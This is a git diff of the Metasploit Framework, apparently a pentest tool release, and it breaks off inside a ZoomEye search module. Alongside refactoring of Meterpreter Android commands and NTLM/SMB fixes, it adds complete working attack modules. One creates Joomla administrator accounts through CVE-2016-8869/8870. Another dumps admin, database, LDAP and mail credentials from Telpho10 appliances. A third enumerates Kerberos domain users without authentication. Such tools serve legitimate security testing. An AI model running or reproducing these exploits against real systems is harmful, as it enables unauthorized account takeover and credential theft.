@@ -199,7 +199,7 @@ class Android < Extension
def dump_contacts
contacts = []
- request = Packet.create_request('dump_contacts')
+ request = Packet.create_request('android_dump_contacts')
response = client.send_request(request)
response.each(TLV_TYPE_CONTACT_GROUP) do |p|
@@ -214,7 +214,7 @@ class Android < Extension
def geolocate
loc = []
- request = Packet.create_request('geolocate')
+ request = Packet.create_request('android_geolocate')
response = client.send_request(request)
loc << {
@@ -227,7 +227,7 @@ class Android < Extension
def dump_calllog
log = []
- request = Packet.create_request('dump_calllog')
+ request = Packet.create_request('android_dump_calllog')
response = client.send_request(request)
response.each(TLV_TYPE_CALLLOG_GROUP) do |p|
@@ -243,13 +243,13 @@ class Android < Extension
end
def check_root
- request = Packet.create_request('check_root')
+ request = Packet.create_request('android_check_root')
response = client.send_request(request)
response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value
end
def activity_start(uri)
- request = Packet.create_request('activity_start')
+ request = Packet.create_request('android_activity_start')
request.add_tlv(TLV_TYPE_URI_STRING, uri)
response = client.send_request(request)
if response.get_tlv(TLV_TYPE_ACTIVITY_START_RESULT).value
@@ -260,13 +260,13 @@ class Android < Extension
end
def set_wallpaper(data)
- request = Packet.create_request('set_wallpaper')
+ request = Packet.create_request('android_set_wallpaper')
request.add_tlv(TLV_TYPE_WALLPAPER_DATA, data)
response = client.send_request(request)
end
def send_sms(dest, body, dr)
- request = Packet.create_request('send_sms')
+ request = Packet.create_request('android_android_send_sms')
request.add_tlv(TLV_TYPE_SMS_ADDRESS, dest)
request.add_tlv(TLV_TYPE_SMS_BODY, body)
request.add_tlv(TLV_TYPE_SMS_DR, dr)
@@ -283,7 +283,7 @@ class Android < Extension
end
def wlan_geolocate
- request = Packet.create_request('wlan_geolocate')
+ request = Packet.create_request('android_wlan_geolocate')
response = client.send_request(request, 30)
networks = []
response.each(TLV_TYPE_WLAN_GROUP) do |p|
@@ -297,7 +297,7 @@ class Android < Extension
end
def sqlite_query(dbname, query, writeable)
- request = Packet.create_request('sqlite_query')
+ request = Packet.create_request('android_sqlite_query')
request.add_tlv(TLV_TYPE_SQLITE_NAME, dbname)
request.add_tlv(TLV_TYPE_SQLITE_QUERY, query)
request.add_tlv(TLV_TYPE_SQLITE_WRITE, writeable)
diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb
index 73300af6d5..cc9001aa34 100644
--- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb
+++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb
@@ -36,18 +36,18 @@ class Console::CommandDispatcher::Android
}
reqs = {
- 'dump_sms' => ['dump_sms'],
- 'dump_contacts' => ['dump_contacts'],
- 'geolocate' => ['geolocate'],
- 'dump_calllog' => ['dump_calllog'],
- 'check_root' => ['check_root'],
- 'device_shutdown' => ['device_shutdown'],
- 'send_sms' => ['send_sms'],
- 'wlan_geolocate' => ['wlan_geolocate'],
- 'interval_collect' => ['interval_collect'],
- 'activity_start' => ['activity_start'],
- 'sqlite_query' => ['sqlite_query'],
- 'set_audio_mode' => ['set_audio_mode']
+ 'dump_sms' => ['android_dump_sms'],
+ 'dump_contacts' => ['android_dump_contacts'],
+ 'geolocate' => ['android_geolocate'],
+ 'dump_calllog' => ['android_dump_calllog'],
+ 'check_root' => ['android_check_root'],
+ 'device_shutdown' => ['android_device_shutdown'],
+ 'send_sms' => ['android_send_sms'],
+ 'wlan_geolocate' => ['android_wlan_geolocate'],
+ 'interval_collect' => ['android_interval_collect'],
+ 'activity_start' => ['android_activity_start'],
+ 'sqlite_query' => ['android_sqlite_query'],
+ 'set_audio_mode' => ['android_set_audio_mode']
}
# Ensure any requirements of the command are met
diff --git a/lib/rex/proto/ntlm/utils.rb b/lib/rex/proto/ntlm/utils.rb
index 3290761c55..a7b2cb27ff 100644
--- a/lib/rex/proto/ntlm/utils.rb
+++ b/lib/rex/proto/ntlm/utils.rb
@@ -397,16 +397,24 @@ class Utils
case atype
when 1
#netbios name
- data[:default_name] = addr.gsub("\x00", '')
+ temp_name = addr
+ temp_name.force_encoding("UTF-16LE")
+ data[:default_name] = temp_name.encode("UTF-8")
when 2
#netbios domain
- data[:default_domain] = addr.gsub("\x00", '')
+ temp_domain = addr
+ temp_domain.force_encoding("UTF-16LE")
+ data[:default_domain] = temp_domain.encode("UTF-8")
when 3
#dns name
- data[:dns_host_name] = addr.gsub("\x00", '')
+ temp_dns = addr
+ temp_dns.force_encoding("UTF-16LE")
+ data[:dns_host_name] = temp_dns.encode("UTF-8")
when 4
#dns domain
- data[:dns_domain_name] = addr.gsub("\x00", '')
+ temp_dns_domain = addr
+ temp_dns_domain.force_encoding("UTF-16LE")
+ data[:dns_domain_name] = temp_dns_domain.encode("UTF-8")
when 5
#The FQDN of the forest.
when 6
diff --git a/lib/rex/proto/smb/client.rb b/lib/rex/proto/smb/client.rb
index c9ab9d3db4..3845aaa7bf 100644
--- a/lib/rex/proto/smb/client.rb
+++ b/lib/rex/proto/smb/client.rb
@@ -760,7 +760,13 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
self.peer_native_os = info[0]
self.peer_native_lm = info[1]
- self.default_domain = info[2]
+ #
+ # if the PC belongs to a domain, this value is already populated
+ # if it is not populated, we're in a workgroup and need to pupulate it now
+ #
+ if self.default_domain.nil?
+ self.default_domain = info[2]
+ end
return ack
end
@@ -906,7 +912,13 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
#dns name
self.dns_host_name = blob_data[:dns_host_name] || ''
#dns domain
- self.dns_domain_name = blob_data[:dns_domain_name] || ''
+ if blob_data[:default_name] != blob_data[:default_domain]
+ # We're in a domain; get the domain name now
+ self.default_domain = blob_data[:default_domain] || ''
+ else
+ # We're in a workgroup; workgroup names come later in the handshake
+ self.default_domain = nil
+ end
type3 = @ntlm_client.init_context([blob].pack('m'))
type3_blob = type3.serialize
diff --git a/lib/rex/registry.rb b/lib/rex/registry.rb
deleted file mode 100644
index 6a0d88bd95..0000000000
--- a/lib/rex/registry.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-# -*- coding: binary -*-
-require 'rex/registry/hive'
-require 'rex/registry/regf'
-require 'rex/registry/nodekey'
-require 'rex/registry/lfkey'
-require 'rex/registry/valuekey'
-require 'rex/registry/valuelist'
-
-module Rex
-module Registry
-
- attr_accessor :alias
-end
-end
diff --git a/lib/rex/zip.rb b/lib/rex/zip.rb
deleted file mode 100644
index 120a7467f5..0000000000
--- a/lib/rex/zip.rb
+++ /dev/null
@@ -1,96 +0,0 @@
-# -*- coding: binary -*-
-#
-# Zip library
-#
-# Written by Joshua J. Drake
-#
-# Based on code contributed by bannedit, and the following SPEC:
-# Reference: http://www.pkware.com/documents/casestudies/APPNOTE.TXT
-#
-
-require 'zlib'
-
-module Rex
-module Zip
-
-ZIP_VERSION = 0x14
-
-# general purpose bit flag values
-#
-# bit 0
-GPBF_ENCRYPTED = 0x0001
-# bits 1 & 2
-# implode only
-GPBF_IMP_8KDICT = 0x0002
-GPBF_IMP_3SFT = 0x0004
-# deflate only
-GPBF_DEF_MAX = 0x0002
-GPBF_DEF_FAST = 0x0004
-GPBF_DEF_SUPERFAST = 0x0006
-# lzma only
-GPBF_LZMA_EOSUSED = 0x0002
-# bit 3
-GPBF_USE_DATADESC = 0x0008
-# bit 4
-GPBF_DEF_ENHANCED = 0x0010
-# bit 5
-GPBF_COMP_PATHCED = 0x0020
-# bit 6
-GPBF_STRONG_ENC = 0x0040
-# bit 7-10 unused
-# bit 11
-GPBF_STRS_UTF8 = 0x0800
-# bit 12 (reserved)
-# bit 13
-GPBF_DIR_ENCRYPTED = 0x2000
-# bit 14,15 (reserved)
-
-
-# compression methods
-CM_STORE = 0
-CM_SHRINK = 1
-CM_REDUCE1 = 2
-CM_REDUCE2 = 3
-CM_REDUCE3 = 4
-CM_REDUCE4 = 5
-CM_IMPLODE = 6
-CM_TOKENIZE = 7
-CM_DEFLATE = 8
-CM_DEFLATE64 = 9
-CM_PKWARE_IMPLODE = 10
-# 11 - reserved
-CM_BZIP2 = 12
-# 13 - reserved
-CM_LZMA_EFS = 14
-# 15-17 reserved
-CM_IBM_TERSE = 18
-CM_IBM_LZ77 = 19
-# 20-96 reserved
-CM_WAVPACK = 97
-CM_PPMD_V1R1 = 98
-
-
-# internal file attributes
-IFA_ASCII = 0x0001
-# bits 2 & 3 are reserved
-IFA_MAINFRAME_MODE = 0x0002 # ??
-
-
-# external file attributes
-EFA_ISDIR = 0x0001
-
-
-# various parts of the structure
-require 'rex/zip/blocks'
-
-# an entry in a zip file
-require 'rex/zip/entry'
-
-# the archive class
-require 'rex/zip/archive'
-
-# a child of Archive, implements Java ARchives for creating java applications
-require 'rex/zip/jar'
-
-end
-end
diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec
index 8b8b8cdf6c..eb3e7b330b 100644
--- a/metasploit-framework.gemspec
+++ b/metasploit-framework.gemspec
@@ -65,7 +65,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model'
# Needed for Meterpreter
- spec.add_runtime_dependency 'metasploit-payloads', '1.1.21'
+ spec.add_runtime_dependency 'metasploit-payloads', '1.1.26'
# Needed for the next-generation POSIX Meterpreter
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.0.8'
# Needed by msfgui and other rpc components
@@ -145,6 +145,8 @@ Gem::Specification.new do |spec|
spec.add_runtime_dependency 'rex-rop_builder'
# Library for polymorphic encoders; used for payload encoding
spec.add_runtime_dependency 'rex-encoder'
+ # Library for exploit development helpers
+ spec.add_runtime_dependency 'rex-exploitation'
# rb-readline doesn't work with Ruby Installer due to error with Fiddle:
# NoMethodError undefined method `dlopen' for Fiddle:Module
diff --git a/modules/auxiliary/admin/atg/atg_client.rb b/modules/auxiliary/admin/atg/atg_client.rb
index 00af98129b..fec8f8a2a9 100644
--- a/modules/auxiliary/admin/atg/atg_client.rb
+++ b/modules/auxiliary/admin/atg/atg_client.rb
@@ -18,8 +18,8 @@ class MetasploitModule < Msf::Auxiliary
This module acts as a simplistic administrative client for interfacing
with Veeder-Root Automatic Tank Gauges (ATGs) or other devices speaking
the TLS-250 and TLS-350 protocols. This has been tested against
- GasPot, a honeypot meant to simulate ATGs; it has not been tested
- against anything else, so use at your own risk.
+ GasPot and Conpot, both honeypots meant to simulate ATGs; it has not
+ been tested against anything else, so use at your own risk.
},
'Author' =>
[
@@ -31,6 +31,7 @@ class MetasploitModule < Msf::Auxiliary
['URL', 'https://community.rapid7.com/community/infosec/blog/2015/01/22/the-internet-of-gas-station-tank-gauges'],
['URL', 'http://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/the-gaspot-experiment'],
['URL', 'https://github.com/sjhilt/GasPot'],
+ ['URL', 'https://github.com/mushorg/conpot'],
['URL', 'http://www.veeder.com/us/automatic-tank-gauge-atg-consoles'],
['URL', 'http://www.chipkin.com/files/liz/576013-635.pdf'],
['URL', 'http://www.veeder.com/gold/download.cfm?doc_id=6227']
@@ -187,6 +188,8 @@ class MetasploitModule < Msf::Auxiliary
def get_response(request)
sock.put(request)
response = sock.get_once(-1, timeout)
+ response.strip!
+ response += " (command not understood)" if response == "9999FF1B"
response
end
@@ -245,7 +248,8 @@ class MetasploitModule < Msf::Auxiliary
end
else
response = get_response("#{action.opts[protocol_opt_name]}\n")
- print_good("#{protocol} #{action.opts['Description']}:\n#{response}")
+ print_good("#{protocol} #{action.opts['Description']}:")
+ print_line(response)
end
ensure
disconnect
diff --git a/modules/auxiliary/admin/http/joomla_registration_privesc.rb b/modules/auxiliary/admin/http/joomla_registration_privesc.rb
new file mode 100644
index 0000000000..9ceb7083a0
--- /dev/null
+++ b/modules/auxiliary/admin/http/joomla_registration_privesc.rb
@@ -0,0 +1,148 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::HTTP::Joomla
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Joomla Account Creation and Privilege Escalation',
+ 'Description' => %q{
+ This module creates an arbitrary account with administrative privileges in Joomla versions 3.4.4
+ through 3.6.3. If an email server is configured in Joomla, an email will be sent to activate the account (the account is disabled by default).
+ },
+ 'References' =>
+ [
+ ['CVE', '2016-8869'],
+ ['CVE', '2016-8870'],
+ ['URL', 'https://developer.joomla.org/security-centre/660-20161002-core-elevated-privileges.html'],
+ ['URL', 'https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html'],
+ ['URL', 'https://medium.com/@showthread/joomla-3-6-4-account-creation-elevated-privileges-write-up-and-exploit-965d8fb46fa2']
+ ],
+ 'Author' =>
+ [
+ 'Fabio Pires ', # module creation and privilege escalation
+ 'Filipe Reis ', # module creation and privilege escalation
+ 'Vitor Oliveira ', # module creation and privilege escalation
+ ],
+ 'License' => MSF_LICENSE,
+ 'DisclosureDate' => 'Oct 25 2016'
+ ))
+
+ register_options(
+ [
+ OptString.new('TARGETURI', [true, 'The relative URI of the Joomla instance', '/']),
+ OptString.new('USERNAME', [true, 'Username that will be created', 'expl0it3r']),
+ OptString.new('PASSWORD', [true, 'Password for the username', 'expl0it3r']),
+ OptString.new('EMAIL', [true, 'Email to receive the activation code for the account', 'example@youremail.com'])
+ ]
+ )
+ end
+
+ def check
+ res = send_request_cgi('uri' => target_uri.path)
+
+ unless res
+ print_error("Connection timed out")
+ return Exploit::CheckCode::Unknown
+ end
+
+ online = joomla_and_online?
+ unless online
+ print_error("Unable to detect joomla on #{target_uri.path}")
+ return Exploit::CheckCode::Safe
+ end
+
+ version = Gem::Version.new(joomla_version)
+ if version
+ print_status("Detected Joomla version #{joomla_version}")
+ return Exploit::CheckCode::Appears if version.between?(Gem::Version.new('3.4.4'), Gem::Version.new('3.6.3'))
+ end
+
+ return Exploit::CheckCode::Detected if online
+ end
+
+ def get_csrf(hidden_fields)
+ hidden_list = hidden_fields
+ hidden_list.each do |fields|
+ fields.each do |item|
+ if item[0].length == 32 && item[1] == '1'
+ return item[0]
+ end
+ end
+ end
+ end
+
+ def run
+ if check == Exploit::CheckCode::Safe
+ print_error('Target seems safe, so we will not continue!')
+ return
+ end
+
+ print_status("Trying to create the user!")
+ res = send_request_cgi(
+ 'uri' => normalize_uri(target_uri.path, 'index.php/component/users/'),
+ 'vars_get' => {
+ 'view' => 'login'
+ }
+ )
+
+ if res && res.code == 200
+ cookie = res.get_cookies
+ csrf = get_csrf(res.get_hidden_inputs)
+
+ if csrf.length != 32 && cookie.split(/=/).length != 2
+ print_error('Could not find csrf or cookie!')
+ return
+ end
+ else
+ print_error('Could not find Login Page!')
+ return
+ end
+
+ mime = Rex::MIME::Message.new
+ mime.add_part(datastore['USERNAME'], nil, nil, 'form-data; name="user[name]"')
+ mime.add_part(datastore['USERNAME'], nil, nil, 'form-data; name="user[username]"')
+ mime.add_part('7', nil, nil, 'form-data; name="user[groups][]"')
+ mime.add_part(datastore['PASSWORD'], nil, nil, 'form-data; name="user[password1]"')
+ mime.add_part(datastore['PASSWORD'] , nil, nil, 'form-data; name="user[password2]"')
+ mime.add_part(datastore['EMAIL'], nil, nil, 'form-data; name="user[email1]"')
+ mime.add_part(datastore['EMAIL'], nil, nil, 'form-data; name="user[email2]"')
+ mime.add_part('com_users', nil, nil, 'form-data; name="option"')
+ mime.add_part('user.register', nil, nil, 'form-data; name="task"')
+ mime.add_part('1', nil, nil, 'form-data; name="' + csrf +'"')
+
+ res = send_request_cgi(
+ 'method' => 'POST',
+ 'uri' => normalize_uri(target_uri.path, 'index.php/component/users/'),
+ 'cookie' => cookie,
+ 'ctype' => "multipart/form-data; boundary=#{mime.bound}",
+ 'data' => mime.to_s
+ )
+
+ if res && res.code == 200
+ print_good("PWND - Your user has been created")
+ print_status("\tUsername: " + datastore['USERNAME'])
+ print_status("\tPassword: " + datastore['PASSWORD'])
+ print_status("\tEmail: " + datastore['EMAIL'])
+ elsif res.redirect?
+ res = send_request_cgi!(
+ 'uri' => res.redirection.path,
+ 'method' => 'GET',
+ 'cookie' => cookie
+ )
+
+ print_error("There was an issue, but the user could have been created.")
+
+ parsed_data = res.get_html_document
+ parsed_data.xpath('//div[@class="alert-message"]').each do |alert_msg|
+ print_error("\t" + alert_msg.text)
+ end
+ else
+ print_error("This host may not be vulnerable.")
+ end
+ end
+end
diff --git a/modules/auxiliary/admin/http/telpho10_credential_dump.rb b/modules/auxiliary/admin/http/telpho10_credential_dump.rb
new file mode 100644
index 0000000000..9183b7b58f
--- /dev/null
+++ b/modules/auxiliary/admin/http/telpho10_credential_dump.rb
@@ -0,0 +1,159 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'rubygems/package'
+
+class MetasploitModule < Msf::Auxiliary
+ include Msf::Auxiliary::Report
+ include Msf::Exploit::Remote::HttpClient
+
+ def initialize(info={})
+ super(update_info(info,
+ 'Name' => 'Telpho10 Backup Credentials Dumper',
+ 'Description' => %q{
+ This module exploits a vulnerability found in Telpho10 telephone system
+ appliance. This module generates a configuration backup of Telpho10,
+ downloads the file and dumps the credentials for admin login,
+ phpmyadmin, phpldapadmin, etc.
+ This module has been successfully tested on the appliance.
+ },
+ 'Author' => 'Jan Rude', # Vulnerability Discovery and Metasploit Module
+ 'License' => MSF_LICENSE,
+ 'References' => ['URL', 'https://github.com/whoot/TelpOWN'],
+ 'Platform' => 'linux',
+ 'Targets' =>
+ [
+ ['Telpho10 <= 2.6.31', {}]
+ ],
+ 'Privileged' => false,
+ 'DisclosureDate' => 'Sep 2 2016'))
+
+ register_options(
+ [
+ Opt::RPORT(80)
+ ], self.class)
+ end
+
+ # Used for unpacking backup files
+ def untar(tarfile)
+ destination = tarfile.split('.tar').first
+ FileUtils.mkdir_p(destination)
+ File.open(tarfile, 'rb') do |file|
+ Gem::Package::TarReader.new(file) do |tar|
+ tar.each do |entry|
+ dest = File.join destination, entry.full_name
+ if entry.file?
+ File.open(dest, 'wb') do |f|
+ f.write(entry.read)
+ end
+ File.chmod(entry.header.mode, dest)
+ end
+ end
+ end
+ end
+ return destination
+ end
+
+ # search for credentials in backup file
+ def dump_creds(mysql_file)
+ file = File.new(mysql_file, 'r')
+ while (line = file.gets)
+ if line.include? 'adminusername'
+ config = [line]
+ end
+ end
+ file.close
+
+ print_status('Login (/telpho/login.php)')
+ print_status('-------------------------')
+ print_good("Username: #{config.first[/adminusername\',\'(.*?)\'/, 1]}")
+ print_good("Password: #{config.first[/adminpassword\',\'(.*?)\'/, 1]}\n")
+
+ print_status('MySQL (/phpmyadmin)')
+ print_status('-------------------')
+ print_good('Username: root')
+ print_good("Password: #{config.first[/dbpassword\',\'(.*?)\'/, 1]}\n")
+
+ print_status('LDAP (/phpldapadmin)')
+ print_status('--------------------')
+ print_good('Username: cn=admin,dc=localdomain')
+ print_good("Password: #{config.first[/ldappassword\',\'(.*?)\'/, 1]}\n")
+
+ print_status('Asterisk MI (port 5038)')
+ print_status('-----------------------')
+ print_good("Username: #{config.first[/manageruser\',\'(.*?)\'/, 1]}")
+ print_good("Password: #{config.first[/managersecret\',\'(.*?)\'/, 1]}\n")
+
+ print_status('Mail configuration')
+ print_status('------------------')
+ print_good("Mailserver: #{config.first[/ipsmarthost\',\'(.*?)\'/, 1]}")
+ print_good("Username: #{config.first[/mailusername\',\'(.*?)\'/, 1]}")
+ print_good("Password: #{config.first[/mailpassword\',\'(.*?)\'/, 1]}")
+ print_good("Mail from: #{config.first[/mailfrom\',\'(.*?)\'/, 1]}\n")
+
+ print_status('Online Backup')
+ print_status('-------------')
+ print_good("ID: #{config.first[/ftpbackupid\',\'(.*?)\'/, 1]}")
+ print_good("Password: #{config.first[/ftpbackuppw\',\'(.*?)\'/, 1]}\n")
+
+ end
+
+ def run
+ res = send_request_cgi({
+ 'uri' => '/telpho/system/backup.php',
+ 'method' => 'GET'
+ })
+ if res && res.code == 200
+ print_status('Generating backup')
+ sleep(1)
+ else
+ print_error("Could not find vulnerable script. Aborting.")
+ return nil
+ end
+
+ print_status('Downloading backup')
+ res = send_request_cgi({
+ 'uri' => '/telpho/temp/telpho10.epb',
+ 'method' => 'GET'
+ })
+ if res && res.code == 200
+ if res.body.to_s.bytesize == 0
+ print_error('0 bytes returned, file does not exist or is empty.')
+ return nil
+ end
+
+ path = store_loot(
+ 'telpho10.backup',
+ 'application/x-compressed',
+ datastore['RHOST'],
+ res.body,
+ 'backup.tar'
+ )
+ print_good("File saved in: #{path}")
+
+ begin
+ extracted = untar("#{path}")
+ mysql = untar("#{extracted}/mysql.tar")
+ rescue
+ print_error('Could not unpack files.')
+ return nil
+ end
+ begin
+ print_status("Dumping credentials\n")
+ dump_creds("#{mysql}/mysql.epb")
+ rescue
+ print_error('Could not find credential file.')
+ return nil
+ end
+ else
+ print_error('Failed to download backup file.')
+ return nil
+ end
+ rescue ::Rex::ConnectionError
+ print_error("#{rhost}:#{rport} - Failed to connect")
+ return nil
+ end
+end
diff --git a/modules/auxiliary/admin/scada/phoenix_command.rb b/modules/auxiliary/admin/scada/phoenix_command.rb
index 57306178de..372f699dad 100644
--- a/modules/auxiliary/admin/scada/phoenix_command.rb
+++ b/modules/auxiliary/admin/scada/phoenix_command.rb
@@ -20,8 +20,8 @@ class MetasploitModule < Msf::Auxiliary
It allows a remote user to read out the PLC Type, Firmware and
Build number on port TCP/1962.
And also to read out the CPU State (Running or Stopped) AND start
- or stop the CPU on port TCP/20547 (confirmed ILC 15x and 17x series)
- or on port TCP/41100 (confirmed ILC 39x series)
+ or stop the CPU on port TCP/41100 (confirmed ILC 15x and 17x series)
+ or on port TCP/20547 (confirmed ILC 39x series)
},
'Author' => 'Tijl Deneut ',
'License' => MSF_LICENSE,
@@ -211,11 +211,11 @@ class MetasploitModule < Msf::Auxiliary
if device.start_with?('ILC 15', 'ILC 17')
devicetype = '15x'
print_status('--> Detected 15x/17x series, getting current CPU state:')
- ractionport == 0 ? (rport = 41100) : (rport = ractionport)
+ ractionport.nil? ? (rport = 41100) : (rport = ractionport)
elsif device.start_with?('ILC 39')
devicetype = '39x'
print_status('--> Detected 39x series, getting current CPU state:')
- ractionport == 0 ? (rport = 20547) : (rport = ractionport)
+ ractionport.nil? ? (rport = 20547) : (rport = ractionport)
else
print_error('Only ILC and (some) RFC devices are supported.')
return
diff --git a/modules/auxiliary/gather/kerberos_enumusers.rb b/modules/auxiliary/gather/kerberos_enumusers.rb
new file mode 100644
index 0000000000..0c03892dcf
--- /dev/null
+++ b/modules/auxiliary/gather/kerberos_enumusers.rb
@@ -0,0 +1,127 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'rex'
+
+class MetasploitModule < Msf::Auxiliary
+ include Msf::Auxiliary::Report
+ include Msf::Exploit::Remote::Kerberos::Client
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Kerberos Domain User Enumeration',
+ 'Description' => %q(
+ This module will enumerate valid Domain Users via Kerberos from an unauthenticated perspective. It utilises
+ the different responses returned by the service for valid and invalid users.
+ ),
+ 'Author' =>
+ [
+ 'Matt Byrne ' # Metasploit module
+ ],
+ 'References' =>
+ [
+ [ 'URL', 'https://nmap.org/nsedoc/scripts/krb5-enum-users.html']
+ ],
+ 'License' => MSF_LICENSE
+ )
+ )
+
+ register_options(
+ [
+ OptString.new('DOMAIN', [ true, 'The Domain Eg: demo.local' ]),
+ OptPath.new(
+ 'USER_FILE',
+ [true, 'Files containing usernames, one per line', nil]
+ )
+ ],
+ self.class
+ )
+ end
+
+ def user_list
+ users = nil
+ if File.readable? datastore['USER_FILE']
+ users = File.new(datastore['USER_FILE']).read.split
+ users.each { |u| u.downcase! }
+ users.uniq!
+ else
+ raise ArgumentError, "Cannot read file #{datastore['USER_FILE']}"
+ end
+ users
+ end
+
+ def run
+ print_status("Validating options...")
+
+ domain = datastore['DOMAIN'].upcase
+ user_file = datastore['USER_FILE']
+
+ print_status("Using domain: #{domain}...")
+
+ pre_auth = []
+ pre_auth << build_pa_pac_request
+ pre_auth
+
+ user_list.each do |user|
+ print_status("#{peer} - Testing User: \"#{user}\"...")
+ res = send_request_as(
+ client_name: "#{user}",
+ server_name: "krbtgt/#{domain}",
+ realm: "#{domain}",
+ pa_data: pre_auth
+ )
+ print_status("#{peer} - #{warn_error(res)}") if res.msg_type == Rex::Proto::Kerberos::Model::KRB_ERROR
+ test = Rex::Proto::Kerberos::Model::ERROR_CODES[res.error_code]
+ if test == ["KDC_ERR_PREAUTH_REQUIRED", "Additional pre-authentication required"]
+ print_good("#{peer} - User: \"#{user}\" is present")
+ report_cred(
+ host: datastore['RHOST'],
+ port: rport,
+ creds_name: 'Kerberos',
+ user: user
+ )
+ elsif test == ["KDC_ERR_CLIENT_REVOKED", "Clients credentials have been revoked"]
+ print_error("#{peer} - User: \"#{user}\" account disabled or locked out")
+ else
+ print_status("#{peer} - User: \"#{user}\" does not exist")
+ end
+ end
+ end
+
+ def report_cred(opts)
+ service_data = {
+ address: opts[:host],
+ port: opts[:port],
+ protocol: 'udp',
+ workspace_id: myworkspace.id,
+ service_name: opts[:creds_name]
+ }
+
+ credential_data = {
+ username: opts[:user],
+ origin_type: :service,
+ module_fullname: self.fullname
+ }.merge(service_data)
+
+ login_data = {
+ core: create_credential(credential_data),
+ status: Metasploit::Model::Login::Status::UNTRIED
+ }.merge(service_data)
+
+ create_credential_login(login_data)
+ end
+
+ def warn_error(res)
+ msg = ''
+
+ if Rex::Proto::Kerberos::Model::ERROR_CODES.key?(res.error_code)
+ error_info = Rex::Proto::Kerberos::Model::ERROR_CODES[res.error_code]
+ msg = "#{error_info[0]} - #{error_info[1]}"
+ else
+ msg = 'Wrong DOMAIN Name? Check DOMAIN and retry...'
+ end
+ end
+end
diff --git a/modules/auxiliary/gather/zoomeye_search.rb b/modules/auxiliary/gather/zoomeye_search.rb
new file mode 100644
index 0000000000..19a9f42201
--- /dev/null
+++ b/modules/auxiliary/gather/zoomeye_search.rb
@@ -0,0 +1,185 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+
+require 'msf/core'
+require 'rex/proto/http'
+
+class MetasploitModule < Msf::Auxiliary
+
+ include Msf::Auxiliary::Report
+
+
+ def initialize(info={})
+ super(update_info(info,
+ 'Name' => 'ZoomEye Search',
+ 'Description' => %q{
+ The module use the ZoomEye API to search ZoomEye. ZoomEye is a search
+ engine for cyberspace that lets the user find specific network
+ components(ip, services, etc.).
+ },
+ 'Author' => [ 'Nixawk' ],
+ 'References' => [
+ ['URL', 'https://github.com/zoomeye/SDK'],
+ ['URL', 'https://www.zoomeye.org/api/doc'],
+ ['URL', 'https://www.zoomeye.org/help/manual']
+ ],
+ 'License' => MSF_LICENSE
+ ))
+
+ deregister_options('RHOST', 'DOMAIN', 'DigestAuthIIS', 'NTLM::SendLM',
+ 'NTLM::SendNTLM', 'VHOST', 'RPORT', 'NTLM::SendSPN', 'NTLM::UseLMKey',
+ 'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2', 'SSL')
+
+ register_options(
+ [
+ OptString.new('USERNAME', [true, 'The ZoomEye username']),
+ OptString.new('PASSWORD', [true, 'The ZoomEye password']),
+ OptString.new('ZOOMEYE_DORK', [true, 'The ZoomEye Dock']),
+ OptEnum.new('RESOURCE', [true, 'ZoomEye Resource Type', 'host', ['host', 'web']]),
+ OptInt.new('MAXPAGE', [true, 'Max amount of pages to collect', 1])
+ ], self.class)
+ end
+
+ # Check to see if api.zoomeye.org resolves properly
+ def zoomeye_resolvable?
+ begin
+ Rex::Socket.resolv_to_dotted("api.zoomeye.org")
+ rescue RuntimeError, SocketError
+ return false
+ end
+
+ true
+ end
+
+ def login(username, password)
+ # See more: https://www.zoomeye.org/api/doc#login
+
+ access_token = ''
+ @cli = Rex::Proto::Http::Client.new('api.zoomeye.org', 443, {}, true)
+ @cli.connect
+
+ data = {'username' => username, 'password' => password}
+ req = @cli.request_cgi({
+ 'uri' => '/user/login',
+ 'method' => 'POST',
+ 'data' => data.to_json
+ })
+
+ res = @cli.send_recv(req)
+
+ unless res
+ print_error('server_response_error')
+ return
+ end
+
+ records = ActiveSupport::JSON.decode(res.body)
+ access_token = records['access_token'] if records && records.key?('access_token')
+ access_token
+ end
+
+ def dork_search(dork, resource, page)
+ # param: dork
+ # ex: country:cn
+ # access https://www.zoomeye.org/search/dorks for more details.
+ # param: page
+ # total page(s) number
+ # param: resource
+ # set a search resource type, ex: [web, host]
+ # param: facet
+ # ex: [app, device]
+ # A comma-separated list of properties to get summary information
+
+ begin
+ req = @cli.request_cgi({
+ 'uri' => "/#{resource}/search",
+ 'method' => 'GET',
+ 'headers' => { 'Authorization' => "JWT #{@zoomeye_token}" },
+ 'vars_get' => {
+ 'query' => dork,
+ 'page' => page,
+ 'facet' => 'ip'
+ }
+ })
+
+ res = @cli.send_recv(req)
+
+ rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
+ print_error("HTTP Connection Failed")
+ end
+
+ unless res
+ print_error('server_response_error')
+ return
+ end
+
+ # Invalid Token, Not enough segments
+ # Invalid Token, Signature has expired
+ if res.body =~ /Invalid Token, /
+ fail_with(Failure::BadConfig, '401 Unauthorized. Your ZOOMEYE_APIKEY is invalid')
+ end
+
+ ActiveSupport::JSON.decode(res.body)
+ end
+
+ def match_records?(records)
+ records && records.key?('matches')
+ end
+
+ def parse_host_records(records)
+ records.each do |match|
+ host = match['ip']
